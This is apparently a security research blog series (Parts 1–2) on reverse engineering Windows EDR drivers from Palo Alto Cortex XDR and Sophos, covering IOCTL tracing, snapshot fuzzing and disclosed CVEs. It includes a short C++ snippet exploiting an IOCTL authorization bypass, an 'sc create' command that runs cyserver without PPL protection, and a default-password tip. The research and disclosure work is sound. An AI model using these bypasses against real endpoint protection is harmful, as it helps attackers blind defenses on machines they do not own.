Usage of returned data by 0x2260D8 from the decompiled code

0x2260D0 gives an interesting response (see below). What can be initialized and who can do it?

To understand how this function is invoked during startup, we set a breakpoint at the loading of tedrdrv.sys and subsequently another breakpoint at the dispatch function's entry point. This was done to observe which IOCTLs are called by which processes after a Windows restart:

0: kd> sxe ld tedrdrv.sys
0: kd> g
nt!DebugService2+0x5:
fffff806`16c01015 cc              int     3
0: kd> bp tedrdrv+7E70 "k;!irp rdx detail" 
0: kd> g

[...]

>[IRP_MJ_DEVICE_CONTROL(e), N/A(0)]
            1  0 ffff970f85974e00 ffff970f8c77c380 00000000-00000000    
             \FileSystem\tedrdrv
                Args: 00000114 00000000 0x2260d0 00000000

3: kd> !thread @$thread 0x1f;
THREAD ffff970f8afd1080  Cid 0f28.11f8  Teb: 0000009c0fa7b000 Win32Thread: ffff970f8c99d720 RUNNING on processor 3
IRP List:
    ffff970f8a672480: (0006,0118) Flags: 00060070  Mdl: 00000000
Not impersonating
DeviceMap                 ffffaa08e5036180
Owning Process            ffff970f8ab97080       Image:         cyserver.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      1528           Ticks: 0
Context Switch Count      1700           IdealProcessor: 0             
UserTime                  00:00:03.250
KernelTime                00:00:00.265
Win32 Start Address cysvc!CySvcCommandLineHandler (0x00007ffb40f556c0)
Stack Init ffff9405d02ebc90 Current ffff9405d02eb3f0
Base ffff9405d02ec000 Limit ffff9405d02e6000 Call 0000000000000000
Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr               Call Site
ffff9405`d02eb7f8 fffff802`6042a6b5     tedrdrv+0x7e70
ffff9405`d02eb800 fffff802`608164c8     nt!IofCallDriver+0x55
ffff9405`d02eb840 fffff802`608162c7     nt!IopSynchronousServiceTail+0x1a8
ffff9405`d02eb8e0 fffff802`60815646     nt!IopXxxControlFile+0xc67
ffff9405`d02eba20 fffff802`6060aab5     nt!NtDeviceIoControlFile+0x56
ffff9405`d02eba90 00007ffb`5232d1a4     nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9405`d02ebb00)
0000009c`105fc7f8 00007ffb`51d4572b     ntdll!NtDeviceIoControlFile+0x14
0000009c`105fc800 00007ffb`52005611     KERNELBASE!DeviceIoControl+0x6b
0000009c`105fc870 00007ffb`3fbade9d     KERNEL32!DeviceIoControlImplementation+0x81
0000009c`105fc8c0 00007ffb`41e34900     cysvc!CySvcCommandLineHandler+0x10fe3d
0000009c`105fc8c8 00000000`00000000     cysvc!CySvcCommandLineHandler+0x23968a0

WinDBG Tracing IOCTLs in tedrdrv.sys

This revealed that cyserver.exe calls 0x2260D0 from cysvc.dll, using a buffer length of 0x114.

We debugged with WinDBG synced to IDA Pro with ret-sync to see what is happening. The IOCTL 0x2260D0 sets the ProcessID which is shown in the dispatch function above. Afterwards IOCTLs which compare this ProcessID can be called from the same process.

In the following screenshot, the red box hightlights calls made before Cyserver (the user-mode component from Cortex) was stopped and the green box shows calls afterwards. This shows that the ProcessId was successfully set to the one of IOCTLplus (see code below which checks the ProcessId for the IOCTL 0x2260DC).

Setting the ProcessID used in the dispatch function to the one of IOCTLplus after disabling Cyserver

case 0x2260DCu:
       if ( (HANDLE)IoGetRequestorProcessId(a2) != ProcessId )
         goto LABEL_34;
       if ( InputBufferLength < 0x6E )
         goto LABEL_99;
       v6 = IO_handle_2260DC_sub_122F20((__int64)IRP_SystemBuffer);
       goto LABEL_171;

tedrdrv.sys IOCTL 0x2260DC

To confirm this behavior during Windows startup, we compiled a small C++ project that opens the device and invokes this function. This program was initiated as a scheduled task.

hDevice = CreateFile(L"\\\\.\\PaloEdrControlDevice",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
[...]
bResult = DeviceIoControl(hDevice,
        0x2260D0,
        buf, 0x114,                       // no input buffer
        buf2, 0x114,                      // output buffer
        &junk,                            // # bytes returned
        (LPOVERLAPPED)NULL);

Code to open the device and call an IOCTL

This test was successful and the debugger showed that Cyserver itself got Access Denied errors for some IOCTLs because the ProcessId of the program above was initialized and not the one from Cyserver.

This suggests that a form of authorization bypass was achieved, concurrently blocking some Cortex functionalities. However, the implications remained unclear, as we could not determine if any harmful actions could be executed using the accessible IOCTLs. Furthermore, only specific IOCTLs could be bypassed. Others incorporate additional security checks in a separate driver, cyvrlpc.sys, utilized by multiple drivers. Cyvrlpc.sys exports shared functionalities; for example, cyvrlpc_35 (exported ordinal) implements supplementary security checks that cannot be circumvented using the aforementioned method.

This authorization bypass was reported to PaloAlto on September 12, 2023. A fix was published on June 12, 2024 as CVE-2024-5905.

After plenty of debugging and reverse engineering, we noticed that Cyvrlpc manages an (AVL) table with all processes. It registers the function PsSetCreateProcessNotifyRoutineEx and inserts each process in this table. Each entry has certain flags which indicate the permissions of the process for the drivers. All processes from Cortex itself have a certain bit set which no other process has set. This bit is checked in some cyvrlpc.sys functions. The flags are set in diferent functions and the whole process is rather complex. They are also influenced by another driver cyvrmtgn.sys which has an IOCTL for authentication purposes.

The AVL Table struct from IDA

0: kd>  !rtlavl cyvrlpc+5ECC0
NodeCounter - Node             (Parent,Left,Right)
   00000000 - ffff970f859cc410
(ffff970f859cc4d0,0000000000000000,0000000000000000)
   00000001 - ffff970f859cc4d0
(ffff970f85c70d50,ffff970f859cc410,ffff970f87cc1010)
   00000002 - ffff970f85ae32d0
(ffff970f87cc1010,0000000000000000,0000000000000000)
   [...]

Part of the AVL Table in WinDBG

We did not exactly reverse how each flag is set for each process. However, the one bit which is set for cyserver.exe and other Cortex processes is only set if the SID of the token from the calling process is "S-1-5-18" (SYSTEM) and at the same time the file path matches to one from Cortex such as:

\Device\HarddiskVolume4\Program Files\Palo Alto Networks\Traps\cyserver.exe

Checking the SID from the calling process in cyvrlpc.sys

Checking the file path of the calling process

At this point we stopped further looking into this and moved on. It would be interesting if the file path checking could be bypassed.

2.2 \\.\PANWEdrPersistentDevice11343

There is one dispatch function for all Major Function codes. This function is pretty small and does not seem to have any interesting functionality.

2.3 \\.\CyvrMit

The dispatch function which handles the Major Function code 0xe (Device IO Control) handles more than 35 different IOCTLs.

Device IO Control Dispatch Function of \\.\CyvrMit

The green boxes refer to some kind of access control flags which are set in the DISPATCH_CREATE (analogue to IRP_MJ_CREATE) function of this interface. This function is called when a handle to this driver interface is obtained. Additionally, the flags are set by an IOCTL which is used for authentication purposes (CyAuthenticate).

There is a significant advantage in analyzing this driver interface compared to the one above. The main binary that calls this interface is cyapi.dll, which is used by cyserver.exe among others. The exported function names of cyapi.dll are not stripped and most of them directly call an IOCTL of \\.\CyvrMit.

CyAuthenticate function of cyapi.dll

This is very helpful, as IOCTLs can be mapped to meaningful names. At the same time, other important arguments such as the input/output buffers and their length can be looked up. The following table shows some mapped functions that look interesting:

IOCTL	Function Name
0x226020	CyAuthenticate
0x226000	CyEnableMitigationFeature
0x2220E8	CyStopService
0x2260C4	CyQueryServerPassword
0x2220E4	CySetServicePpl
0x222100	CyCrashService
0x22603C	CySnapshotProcesses

Regarding the access to those IOCTLs, it is similar compared to \\.\PaloEdrControlDevice. Some functions can be called from an arbitrary low privileged user process and some respond with access denied. The authorization model is similar and also relies at least for some part on cyvrlpc.sys. We did not manage to fully understand all aspects of this.

To observe the sequence of IOCTL calls, we traced all invocations by setting breakpoints at the start and end of the dispatch function. This setup allowed us to log the caller, the input/output buffer lengths, and the contents of these buffers:

3: kd> bp cyvrmtgn+5920 ".echo ##############NEW; !thread @$thread 1f; r
$t1=rdx; r $t1; !irp $t1 detail; .echo In-Buffer:; dps poi($t1+18); db
poi($t1+18);g;"

3: kd> bp cyvrmtgn+5c70 ".echo ##############END; !irp $t1 detail; .echo
Out-Buffer:; dps poi($t1+18); db poi($t1+18);g;"

WinDBG command to trace IOCTLs in dispatch function

The following is an extract of the output which shows a call to 0x226020 (CyAuthenticate) with the input 0x800. Generally, the first call is always to CyAuthenticate with a different input buffer depending on the required access.

##############NEW
Args: 00000000 00000010 226020 00000000
--
In-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

##############END
Out-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

The question arises: how does the driver determine which input parameters are accepted for which calling process?

We started to test this with the cytool which calls some of the IOCTLs for example when stopping the services. However, this requires a password which is set globally for the tenant to perform modifications.

[!TIP] Try the default password 'Password1' and you might be lucky

CyTool

Cytool also calls 0x226020 after entering the password. Now the Input-Buffer looks different:

Args: 00000000 00000010 0x226020 00000000
In-Buffer:
ffff970f`8ae4bec0  00000046`7df6fae0
ffff970f`8ae4bec8  00007ff6`0001ffff

3: kd> db 00000046`7df6fae0
00000046`7df6fae0  50 00 61 00 73 00 73 00-77 00 6f 00 72 00 64 00
P.a.s.s.w.o.r.d.
00000046`7df6faf0  31 00 00 00 5c 01 00 00-d8 28 b2 51 5c 01 00 00
1...\....(.Q\...

The first 8 bytes are always 0x0 if cyserver calls 0x226020. However, if called by the cytool a pointer to the password is sent. This means that there are two different ways how the authentication is handled.

This shows the password check inside cyvrmtng.sys

We wanted to know how the password hash is obtained against which the supervisor password is compared. Maybe it is retrieved from a place where it could be manipulated. There is also the function CyQueryServerPassword (0x2260C4). We ended up at some ALPC-communication over which the hash was sent. We've never touched ALPC before and therefore decided to have a look at it. Is it possible to spoof a communication partner to retrieve secret data or to send fake data? See Part 3.

3. Sophos Intercept X

The analysis described in Part 1 showed that there are multiple open interfaces:

SophosED.sys
- Device Driver interfaces
  - \\.\SophosEndpointDefenseScan
  - \\.\SophosEndpointDefensePseudoFSScan
- FilterConnectionPorts

The device driver interfaces only had very little attack surface which was checked manually. The vast majority of the functionality is implemented in the FilterConnectionPorts.

For example \SophosEndpointDefenseSyncCommPort has several different functions. However, they are not that easy to test because most of them require several input parameters which need to be filled with valid data. As time was limited we chose to perform snapshot fuzzing against this interface rather than reverse engineering the code handling the I/O. There is a large call graph from these functions which in turn could be interesting to find common memory corruption bugs.

Xrefs graph from MessageCallback function

A tip which helps during the debugging of the main driver (SophosED.sys) is to change the global logging-level with a kernel debugger. The flag can easily be identified in all the debug messages. By default it is set to "2". If the value is changed to "1" debug messages are printed:

Log-Level in SophosED.sys

Changing the Log-Level in SophosED.sys with WinDbg

The following screenshot shows the MessageCallback function of the FilterConnectionPort SophosEndpointDefenseSyncCommPort:

MessageCallback function of \SophosEndpointDefenseSyncCommPort

Each of the functions called "subfunc*" again differentiates between multiple cases what results in the Xrefs graph shown above.

We used WTF as a fuzzer because we've already been familiar with this and it fits perfectly to this case. It is pretty fast to set up compared to traditional harnessing or kernel fuzzing. ::github{repo="0vercl0k/wtf"}

The high-level procedure is as following:

Use a HyperV-VM connected to a WinDbg Kernel-Debugger (Other VMs have problems for this setup)
Make a breakpoint at the target function where the fuzzing should start (Entry of the function in the screenshots above)
Dump the VM state (memory & registers) with bdump
Write a fuzzing harness which replaces the input buffer (a2_InputBuffer) and length (a3_InputBufferLength) of the MessageCallback function in the harness function InsertTestcase() (template). The inserted data must not be larger than the allocated memory of these buffers. Optionally, if the input has a specific format, a custom mutator could be implemented.
Record valid input buffers from the running EDR with breakpoints in the kernel debugger and save them to a file. These can be used as input corpus (seeds) to start the mutations.
Run fuzzer
Check, Debug & Improve Fuzzing
- Check the coverage with IDA Lighthouse to verify if it is working as expected
- Make debug prints in the fuzzing harness by hooking functions with WTF. For example print function arguments.
- Use Tenet to debug certain executions (e.g. to understand a potential crash) WTF-Tenet
- Virtualize function accessing hardware such as file system access

The snapshot was created with and without driver-verifier enabled. The following output shows a short run with a small input-length. In general it works and the coverage increases quite good. Also the speed for one Fuzzing-node (one Laptop-core) of almost 1000 exec/s on bochscpu is rather fast but shows that most executions are short and potentially exit early because of invalid input formats.

..\\..\\src\\build\\RelWithDebInfo\\wtf.exe  master --runs 10000000 --name Sophos --max_len 0x30 --target . --inputs seeds
Seeded with 15016965039757084568
Iterating through the corpus..
Sorting through the 8 entries..
Running server on tcp://localhost:31337..
#0 cov: 0 (+0) corp: 0 (0.0b) exec/s: -nan (1 nodes) lastcov: 3.0s crash: 0 timeout: 0 cr3: 0 uptime: 3.0s
Saving output in .\\outputs\\7167f2dd9d964a3529d55617a73cee2a
Saving output in .\\outputs\\7a0ca97cddb79ec90ece2337d24edc5d
Saving output in .\\outputs\\crash-a271e8d13ac935afad342fa2146ffb70
Saving crash in .\\crashes\\crash-0xa-0x1e8ae6ee000-0xf-0x0-0xfffff80726a26cd9-0x0
Saving output in .\\outputs\\f93b14ce14eafe14c69eff38e546ae33
Saving output in .\\outputs\\crash-c40e54e406c3f2fa11033b815ff06c79
Saving crash in .\\crashes\\crash-0xa-0xffffb402d54c4410-0xf-0x1-0xfffff80726624d95-0x0
Saving crash in .\\crashes\\crash-0xa-0xffffb402d5be7a10-0xf-0x1-0xfffff80726624d95-0x0
[...]
#9013 cov: 14138 (+14138) corp: 61 (2.8kb) exec/s: 901.3 (1 nodes) lastcov: 1.0s crash: 641 timeout: 0 cr3: 0 uptime: 13.0s
[...]
#27735 cov: 15698 (+587) corp: 88 (4.0kb) exec/s: 924.5 (1 nodes) lastcov: 0.0s crash: 1508 timeout: 0 cr3: 0 uptime: 33.0s
[...]
#80583 cov: 17368 (+109) corp: 124 (5.7kb) exec/s: 1.0k (1 nodes) lastcov: 0.0s crash: 3895 timeout: 0 cr3: 0 uptime: 1.4min
[...]
#113654 cov: 17709 (+12) corp: 132 (6.1kb) exec/s: 1.0k (1 nodes) lastcov: 7.0s crash: 5284 timeout: 0 cr3: 0 uptime: 1.9min

WTF Master output

The coverage loaded in IDA with Lighthouse showed that at least all major functions were triggered from the fuzzer. Green means that the path was executed in the fuzzing process: Fuzzing Coverage loaded in IDA Lighthouse

What is going on?

Crashes in seconds looks too good to be true. The fuzzer catched bugs by setting a breakpoint to nt!KeBugCheckEx:

if (!g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
      const uint64_t BCode = Backend->GetArg(0);
      const uint64_t B0 = Backend->GetArg(1);
      const uint64_t B1 = Backend->GetArg(2);
      const uint64_t B2 = Backend->GetArg(3);
      const uint64_t B3 = Backend->GetArg(4);
      const uint64_t B4 = Backend->GetArg(5);
      const std::string Filename =
          fmt::format("crash-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}", BCode, B0,
                      B1, B2, B3, B4);
      DebugPrint("KeBugCheck2: {}\n\n", Filename);
      Backend->Stop(Crash_t(Filename));
    }))

Some of the bugs were:

0xc4: "The DRIVER_VERIFIER_DETECTED_VIOLATION bug check has a value of 0x000000C4. This is the general bug check code for fatal errors found by Driver Verifier."
0xa: "The IRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This bug check indicates that Microsoft Windows or a kernel-mode driver accessed paged memory at an invalid address while at a raised interrupt request level (IRQL). The cause is typically a bad pointer or a pageability problem."

All these bugs could not be reproduced in a live system. Looking at Tenet-Traces showed that some of the crashes happened in a call to ExAllocatePoolWithTag which indicates a false positive and consequently a problem in the virtualized system. Debugging issues like this is an important part when using snapshot fuzzing and additionally without emulated hardware like in WTF (e.g. paged out memory). KAFL in contrast has full hardware access.

The setup that helped to understand the cause was to compare the code flow of the same input in a live system with a kernel debugger synced to IDA with a Tenet-Trace from the fuzzer.

With a Tenet-trace loaded in IDA you have similar functions compared to time-travel debugging. You can scroll through the code flow and look at register values and memory content. There are several other helpful functions which are shown on the tenet-repo.

WTF Tenet-Trace loaded in IDA

Additionally, ret-sync can be used to sync WinDBG to IDA what allows to easily compare the snapshot execution to the live system.

At the end, the problem was related to the IRQL-value stored in the snapshot of bdump (step 3 in the overview):

kd> r cr8
cr8=000000000000000f
kd> !irql
Debugger saved IRQL for processor 0x0 -- 0 (LOW_LEVEL)

WinDBG in kernel breakpoint before the snapshot was taken

The CPU register CR8 stores the current IRQL-value. However, if the system is interrupted with WinDBG kernel breakpoint, the CR8 register is changed to 0xf. The current IRQL as shown above, however, would be 0x0. Therefore, the snapshot stores CR8 value of the interrupted state instead of the actual IRQL-value. After fixing this value in the snapshot, the false positive crashes disappeared.

The fuzzer was running for some days but did not identify any exploitable bug. The main issue of this fuzzing setup was that some functions expected memory pointers on certain positions in the input data. We did not use any structure aware mutation and consequently most of the input could not be parsed and the function exited early. The is no uniform structure and it would have been too time consuming to reverse it for different functions. Additionally, the data where the memory-pointers point at would have to be filled with mutated data or potentially pointers again. We used breakpoints in the fuzzing harness, to get an idea of memory access:

    if (!g_Backend->SetBreakpoint("nt!ProbeForRead", [](Backend_t *Backend) {              
        DebugPrint("nt!ProbeForRead at {:x} with length {:x}", g_Backend->Rcx(), g_Backend->Rdx());

A breakpoint in WTF to get debug info for memory access during the fuzzing

We did not follow this further, but it could be potentially automated by catching nt!ProbeForWrite and nt!ProbeForRead in order to provide feedback to the fuzzer that these values should be valid pointers. All in all, improving the fuzzer and the harness would have been too time consuming and a code analysis is potentially more efficient.

4. Other Vulnerabilities

During the research, some other vulnerabilities have been identified. The following is a short summary of them:

Early Startup of Malware

Malware can be started before the user-mode component of the EDR is fully started. This was tested with Cortex and it was possible to execute Mimikatz with lsadump::sam without being blocked. This was reported in combination with the ALPC vulnerability. The vendor did not respond to this issue. Other EDRs are potentially affected, too.

Launching CyServer (PaloAlto Cortex) without PPL

If a new (second) service which launches Cyserver is created, the original service (which has startup dependencies) does no longer start. The new service configuration is not protected by the Cortex drivers and therefore the configuration can be adjusted. If name begins with "cyserver*" it is blocked.

sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto

Cortex itself thinks that cyserver is stopped because the own service is stopped. However, the EDR still works. The cyserver.exe still has some self-protections in place but the attack surface is a larger compared to a PPL process.

This bypass was reported to PaloAlto on 12.09.2023. PaloAlto did not provide further information on this. It is unknown if a fix is implemented or planned.

This post continues with Part 3 which describes the ALPC DoS vulnerability and some final notes.

Attacking EDRs Part 1: Intro & Security Analysis of EDR Drivers

Manuel Feifel — Mon, 10 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 (this article) gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction

In today's organizations, Endpoint Detection and Response (EDR) solutions have become an essential part of the cybersecurity landscape. Despite their prevalence, there remains a notable lack of published research focusing on attacks against EDR applications themselves, even though they present compelling targets for privilege escalation, corporate network compromise, or drive-by attacks. This could have several reasons: limited security research in this specific area, unpublished research held back for red-teaming advantages, or a lack of fruitful findings. Futhermore, there are only a few vendors which have a Bug Bounty program and if they have one, the Windows agents are not in scope (except Kaspersky).
In recent years, most security research about EDRs focused on techniques to bypass the security measures such as DLL unhooking. Recognizing this gap, a research project of IG Labs aimed to analyze the attack surface of drivers for widely-used EDRs on Windows. However, after starting the work and before publication of this post, some research into directly attacking EDRs has emerged (1, 2, 3, 4, 5, ...).

Due to the extensive attack surface of EDRs, we decided to limit the scope of our investigation to driver-interfaces accessible by a low privileged user as an entry point.
EDRs typically incorporate self-protection mechanisms that prevent even local administrators from disabling or uninstalling the product. However, the transition from local administrator to SYSTEM to kernel in Windows, while restricted by security features, does not represent an absolute security boundary. Known methods exist to deactivate or bypass EDRs, including bring-your-own-vulnerable-driver (BYOVD) attacks, Windows Defender Application Control (WDAC), WPF filtering, and other techniques. Consequently, this research focused on low-privileged users, even though attacks from a local administrator can also be valuable.

Additionally, the focus is directed towards the most used EDRs in the market.
However, obtaining access to these EDR solutions for research purposes is challenging. Only a very limited number of vendors offer trial products without prior vetting, further narrowing the range of EDRs that can be analyzed.

Typical "trial" (which you will never get without having the right business)

Although several EDR drivers permit low-privileged users to access certain functions, it was not possible to detect any serious security issues. Nevertheless, the blog post describes the analysis process including research paths that yielded no findings to help other security researchers. However, after some time a path led to the ALPC communication in PaloAlto Cortex which was not the initial focus. This revealed a DoS vulnerability that is described in Part 3.

The following products were initially examined for the driver analysis:

Palo Alto Cortex XDR
Sophos Intercept X
Microsoft Defender for Endpoint
Cynet 360
Tanium (not really an EDR but the functionality and architecture is similar)

1.1 Attack Surface of EDR solutions

EDR solutions have a comparably large attack surface for applications. These solutions typically consist of multiple components on the agents themselves and cloud services, while some vendors also offer on-premise servers. EDRs are designed to detect and respond to threats at the endpoint level, but they also inherently create a new attack surface that can be exploited by malicious actors. The agents are a complex part and consequently more prone to vulnerabilities. The frontend of the servers-side part, in contrast has a smaller and usually more explored attack surface (at least the part which is directly accessible by a user such as the web interfaces). Even backend web APIs have basic flaws such as missing authentication as shown here. Some products also use a custom protocol for the agent-to-cloud communication which could be interesting, too. Furthermore, certain products also implement P2P-communication among the agents (e.g. Tanium) which are interesting from an attacker point of perspective.

These blog posts focuses solely on the agent side.

Agents typically consist of user-space and kernel-space (driver) components:

Filter Driver
Network Drivers
Software Driver
Userland Applications

These components primarily communicate with each other using the following protocols and methods:

Kernel-to-Kernel:
- Exported functions
- IOCTLs
User-to-Kernel:
- IOCTLs
- FilterConnectionPorts
  - specifically used by minifilter drivers
  - uses IOCTLs under the hood as well
- ALPC
User-to-User
- ALPC
- Named Pipes
- Files
- Registry
- more...

The following list outlines potential vulnerabilities within these components and their communication. Note that this list is not exhaustive and excludes all server-side attack surface:

Memory corruptions in file scanning & emulation (In-the-wild 0day CVE-2021-1647)
Deletion of arbitrary files (SymLink-Vulns)
- Plenty of vulnerabilities in the past: Deleting files "wiper" (50% of tested EDRs vulnerable)
User-Mode IPC (Interprocess communications): Authorization issues or memory corruptions
User-to-driver: Authorization issues
Classic driver vulnerabilities:
Server-to-Agent
- Missing authentication of server
- Parsing bugs in server responses
Classic Windows Application Vulnerabilities (DLL Hijacking, File permissions, ...)
Emulation/Sandbox Escapes
Other Logic Bugs

This article focuses on user-to-driver authorization issues and, to some extent, classic driver vulnerabilities. Part 3 addresses user-mode IPC.

Impact

The main impact of potential vulnerabilities on the client side is Local Privilege Escalation or hiding the execution of malicious software. Another possibility is spoofing data about the agent sent to the backend. Some vulnerabilities, such as in the scanning engine could also lead to Remote Code Execution. Additionally, a compromised agent also leads to a larger attack surface for the backend, as the attacker can abuse the authenticated session of the agent.
In case of P2P-based communication, serious design flaws could lead to the compromise of other agents.

2. Driver Attack Surface for Low-Priviledged Users

This section provides a basic overview of how to conduct a security analysis of EDR drivers. It primarily focuses on identifying exposed driver functionalities that could constitute an attack surface for low-privileged users. It does not delve into the specifics of driver-related vulnerabilities or their exploitation.

For a testing environment we recommend using a virtual machine with a WinDBG Kernel Debugger attached. The easiest way to set it up is KDNET (see the following documentation).

2.1 Which drivers are loaded?

One method for viewing loaded drivers is using DriverView which is further aided by the fact that there is a feature to filter drivers from Microsoft.

DriverView with Cortex installed

2.2 What interface does each driver expose to user-land?

There are two approaches to check this: static analysis and dynamic analysis. We suggest to use both methods in combination to catch all cases. For example, an EDR driver may only initialize one device object during startup but might be creating more device objects during the course of the EDRs execution.

Windows Driver Model (WDM) or Kernel-Mode Driver Framework (KMDF) drivers can expose a device interface. This interface can be opened from user space to interact with the driver.

Mini-Filter Drivers can expose a FilterCommunicationPort which can be used from user-mode to interact with the driver.

2.2.1 Static Analysis

To establish a communication interface, a driver must invoke specific Windows APIs. These calls can be statically analyzed using reverse engineering software such as IDA. The following functions, as specified in Microsoft's documentation, are commonly used:

WDM Device Driver:

NTSTATUS IoCreateDevice(
  [in]           PDRIVER_OBJECT  DriverObject,
  [in]           ULONG           DeviceExtensionSize,
  [in, optional] PUNICODE_STRING DeviceName,
  [in]           DEVICE_TYPE     DeviceType,
  [in]           ULONG           DeviceCharacteristics,
  [in]           BOOLEAN         Exclusive,
  [out]          PDEVICE_OBJECT  *DeviceObject
);

Alternatively, IoCreateDeviceSecure can be used which applies a default SDDL String.

KMDF Device Driver:

NTSTATUS WdfDeviceCreateDeviceInterface(
  [in]           WDFDEVICE        Device,
  [in]           const GUID       *InterfaceClassGUID,
  [in, optional] PCUNICODE_STRING ReferenceString
);

Mini-Filter Driver:

NTSTATUS FLTAPI FltCreateCommunicationPort(
  [in]           PFLT_FILTER            Filter,
  [out]          PFLT_PORT              *ServerPort,
  [in]           POBJECT_ATTRIBUTES     ObjectAttributes,
  [in, optional] PVOID                  ServerPortCookie,
  [in]           PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  [in]           PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  [in, optional] PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  [in]           LONG                   MaxConnections
);

2.2.2 Dynamic Analysis

Registered devices and port names can be identified using WinObj from Sysinternals (although the names are not always obvious) or by setting breakpoints in a kernel debugger.

Device Driver: They are listed in WinObj under "GLOBAL??" as Symbolic Link pointing towards the device object. This makes the device available through \\.\NAME when trying to interact with the driver from another application. Another option is to use the discontinued tool DeviceTree from OSR which shows the devices in a hierachy for each driver and addtional information.

WinObj with Cortex Devices

DeviceTree with Cortex Devices

Mini-Filter Driver: They are listed in WinObj named "FilterConnectionPort"

FilterConnectionPorts in WinObj (Cortex)

2.3 What are the access permissions of each interface?

This step is more easily accomplished dynamically.

Device Driver: To our knowledge there is no modern tool to view the correct access permissions of a device interface. Try to get a copy of OSR DeviceTree which directly shows the ACLs and other flags. An alternative is to use a Kernel Debugger.

Mini-Filter Driver: One way to test if a certain user can access a FilterConnectionPort is to use the NtObjectManager tooling from James Forshaw.

Get-FilterConnectionPort -Path "\CyvrFsfd"
Exception: "(0x80070005) - Access is denied."

To retrieve the security descriptor, use WinDbg as a kernel debugger:

0: kd> !object \CyvrFsfd
Object: ffffc2861e32f550  Type: (ffffc2861bc7b220) FilterConnectionPort
    ObjectHeader: ffffc2861e32f520 (new version)
    HandleCount: 1  PointerCount: 6
    Directory Object: ffffd9099503e9f0  Name: CyvrFsfd
0: kd> dx (((nt!_OBJECT_HEADER*)0xffffc2861e32f520)->SecurityDescriptor & ~0xa)
(((nt!_OBJECT_HEADER*)0xffffc2861e32f520)->SecurityDescriptor & ~0xa) :
0xffffd909950257a0
0: kd> !sd 0xffffd909950257a0 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x1c
->Dacl    : ->AceCount   : 0x1
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001f0001
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Sacl    :  is NULL

This port only allows access from NT AUTHORITY\SYSTEM.

2.4 What can you do if an interface is accessible?

First of all, if the Windows ACLs allow access to the device interface or FilterConnectionPort, that doesn't mean that you can actually access all the functionality offered by these interfaces. The driver itself can perform any arbitrary access checks such as verifying the security token of the calling process or checking the file path of the process.

This topic usually requires to reverse engineer a driver's interesting functions and figuring out what they do in the absence of function names in the driver. In the following segment, we give some advice on how to start.

2.4.1 Device Driver

The most relevant method for interacting with these devices is Device Input/Output Control (IOCTL) using major function code 0xe (14) which allows for communication between 2 partners while offering a channel for (bi)directional data exchange. While read (IRP_MJ_READ) and write (IRP_MJ_WRITE) operations could also be relevant, the primary functionality in this context resides within IRP_MJ_DEVICE_CONTROL.

These dispatch functions can be triggered from user-mode with the following functions:

CreateFile() => IRP_MJ_CREATE_
ReadFile() => IRP_MJ_READ
DeviceIoControl() => IRP_MJ_CONTROL

Source: Enrique Nissim, IOActive

The next step involves reverse engineering to analyze the functionality of these dispatch functions. The functionality is located in DRIVER_DISPATCH callback functions which are registered during the initialization of the driver. The following screenshot from IDA shows the tedrdrv.sys driver from Cortex. In this example the callback functions are the same for most of the functions.

Driver Dispatch Functions in Cortex

The function sub_1233A0 differentiates between MajorFunction codes. If 0xe (DEVICE_CONTROL) is called the real IO Control Dispatch function is called which looks like the following:

Device IO Control Dispatch Function in Cortex

The different cases correspond to I/O control codes (IOCTLs). This section of the code reveals an interesting aspect: the process ID of the caller is retrieved and then either compared or passed to other functions. This suggests an authorization mechanism needs to be further analyzed. This is part of the next chapter.

2.4.2 FilterConnectionPorts:

Filter connection ports are similar to I/O control codes. During the registration of a filter connection port, callback functions can be specified in the FltCreateCommunicationPort function to handle connection, disconnection, and messages.

FltCreateCommunicationPort() in cyvrfsfd.sys from Cortex

The MessageNotifyCallback implements different cases similar to the IO Control Dispatch function above.

